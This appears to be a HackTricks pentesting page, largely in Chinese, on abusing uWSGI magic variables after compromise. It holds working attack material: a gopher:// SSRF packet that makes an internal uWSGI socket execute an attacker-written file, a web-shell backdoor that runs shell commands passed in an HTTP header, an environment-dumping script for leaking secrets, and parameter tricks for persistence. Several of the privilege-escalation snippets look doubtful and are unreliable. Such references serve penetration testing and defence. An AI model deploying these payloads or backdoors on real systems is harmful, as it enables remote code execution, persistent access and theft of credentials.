WSGI 后渗透技巧

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

WSGI 概述

Web Server Gateway Interface (WSGI) 是一个规范,描述了 web 服务器如何与 web 应用通信,以及 web 应用如何串联在一起以处理单个请求。uWSGI 是最流行的 WSGI 服务器之一,通常用于服务 Python web 应用。

uWSGI Magic Variables 利用

uWSGI 提供了特殊的 "magic variables",可用于动态配置服务器行为。这些变量可以通过 HTTP 头设置,如果未被正确验证,可能导致严重的安全漏洞。

关键可利用变量

UWSGI_FILE - 任意文件执行

uwsgi_param UWSGI_FILE /path/to/python/file.py;

该变量允许将任意 Python 文件作为 WSGI 应用加载并执行。如果攻击者能控制此参数,则可以实现 Remote Code Execution (RCE)。

UWSGI_SCRIPT - 脚本加载

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

将指定的脚本作为新的应用程序加载。结合文件上传或写入能力,可能导致 RCE。

UWSGI_MODULEUWSGI_CALLABLE - 动态模块加载

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

这些参数允许加载任意 Python 模块并调用其中的特定函数。

UWSGI_SETENV - Environment Variable Manipulation

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

可以用于修改环境变量,可能会影响应用行为或加载恶意配置。

UWSGI_PYHOME - Python 环境操控

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

更改 Python 的虚拟环境,可能会加载恶意包或不同的 Python 解释器。

UWSGI_CHDIR - 目录遍历

uwsgi_param UWSGI_CHDIR /etc/;

在处理请求之前更改工作目录,这可被用于 path traversal attacks。

SSRF + Gopher to

攻击向量

当 uWSGI 可通过 SSRF (Server-Side Request Forgery) 访问时,攻击者可以与内部 uWSGI socket 交互以利用魔术变量(magic variables)。当出现以下情况时,这尤其危险:

  1. 应用存在 SSRF 漏洞
  2. uWSGI 在内部端口/套接字上运行
  3. 应用未正确验证魔术变量

uWSGI 可以通过 SSRF 访问,因为配置文件 uwsgi.ini 包含:socket = 127.0.0.1:5000,使其可通过 SSRF 从 web 应用访问。

利用示例

第 1 步:Create Malicious Payload

首先,将 Python 代码注入到服务器可访问的文件中(在服务器内写入文件,文件扩展名无关):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

第2步:构造 uWSGI 协议请求

使用 Gopher 协议发送原始 uWSGI 数据包:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

This payload:

  • 连接到 uWSGI 的端口 5000
  • UWSGI_FILE 设置为指向恶意文件
  • 强制 uWSGI 加载并执行 Python 代码

uWSGI 协议结构

The uWSGI protocol uses a binary format where:

  • 变量以长度前缀字符串编码
  • Each variable has: [name_length][name][value_length][value]
  • 数据包以包含总大小的头部开始

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

然后使用 UWSGI_FILE 来加载这个 backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

基于环境的持久化

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. 信息泄露

环境变量转储

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

文件系统访问

使用 UWSGI_CHDIR 结合文件服务访问敏感文件:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

如果 uWSGI 以提升的权限运行,攻击者可能操纵 socket 的权限:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

配置覆盖

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks